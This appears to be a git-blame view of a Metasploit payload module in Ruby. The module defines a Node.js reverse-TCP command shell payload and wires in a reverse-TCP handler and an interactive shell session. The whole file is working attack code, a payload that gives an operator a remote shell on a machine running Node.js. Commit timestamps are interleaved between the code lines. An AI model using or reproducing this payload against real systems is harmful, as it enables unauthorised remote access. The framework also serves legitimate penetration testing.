2013-09-16 13:38:42 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-09-16 13:38:42 -05:00
|
|
|
##
|
|
|
|
|
|
2013-09-16 21:34:12 -05:00
|
|
|
# It would be better to have a commonjs payload, but because the implementations
|
|
|
|
|
# differ so greatly when it comes to require() paths for net modules, we will
|
|
|
|
|
# settle for just getting shells on nodejs.
|
|
|
|
|
|
2013-09-16 13:38:42 -05:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2013-09-16 13:38:42 -05:00
|
|
|
|
2017-11-21 13:53:33 -06:00
|
|
|
CachedSize = 803
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2013-09-16 13:38:42 -05:00
|
|
|
include Msf::Payload::Single
|
2013-10-12 03:19:06 -05:00
|
|
|
include Msf::Payload::NodeJS
|
2013-09-16 13:38:42 -05:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Command Shell, Reverse TCP (via nodejs)',
|
|
|
|
|
'Description' => 'Creates an interactive shell via nodejs',
|
|
|
|
|
'Author' => ['RageLtMan', 'joev'],
|
|
|
|
|
'License' => BSD_LICENSE,
|
2013-09-20 18:14:01 -05:00
|
|
|
'Platform' => 'nodejs',
|
2013-09-16 13:38:42 -05:00
|
|
|
'Arch' => ARCH_NODEJS,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
2013-09-23 11:31:45 -05:00
|
|
|
'PayloadType' => 'nodejs',
|
2013-09-16 13:38:42 -05:00
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
|
))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Constructs the payload
|
|
|
|
|
#
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2013-09-25 00:10:59 -05:00
|
|
|
super + command_string
|
2013-09-16 13:38:42 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Returns the JS string to use for execution
|
|
|
|
|
#
|
|
|
|
|
def command_string
|
2013-10-12 03:19:06 -05:00
|
|
|
nodejs_reverse_tcp
|
2013-09-16 13:38:42 -05:00
|
|
|
end
|
|
|
|
|
end
|